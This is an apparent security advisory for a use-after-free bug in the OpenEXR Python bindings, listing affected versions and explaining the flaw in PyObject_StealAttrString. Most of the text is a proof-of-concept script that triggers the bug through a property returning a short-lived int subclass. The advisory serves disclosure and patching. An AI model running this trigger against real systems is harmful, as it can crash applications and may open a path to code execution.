Use After Free Affecting openexr package, versions [3.2.3,3.2.5)[3.3.0,3.3.6)[3.4.0,3.4.3)

OpenEXR is a Python bindings for the OpenEXR image file format

Affected versions of this package are vulnerable to Use After Free via the PyObject_StealAttrString function. An attacker can execute arbitrary code or cause a crash by passing a dangling pointer to APIs such as PyLong_AsLong or PyFloat_AsDouble after the reference has been decremented.

import OpenEXR, Imath

# Any small EXR will do - use one from OpenEXR test images or any project file
path = "any_small.exr"

# Property returns a fresh temporary int subclass, so the buggy helper
# decrefs it to zero before passing it to PyLong_AsLong => UAF.
class FreshInt(int):
    def __new__(cls, v):
        return int.__new__(cls, v)
    def __del__(self):
        # stir the heap to make the UAF obvious under PYTHONMALLOC=debug
        _ = bytearray(1_000_000)

class PixelTypeProxy:
    @property
    def v(self):
        return FreshInt(Imath.PixelType.FLOAT)  # any small value is fine

f = OpenEXR.InputFile(path)
# channel() forces the wrapper to read pixel_type.v using the buggy helper
# which returns a dangling pointer
print("About to trigger UAF...")
f.channel("R", pixel_type=PixelTypeProxy())
print("If you get here without a crash, try again with AddressSanitizer.")

• GitHub Commit
• Vulnerable Code
• Vulnerable Code
• Vulnerable Code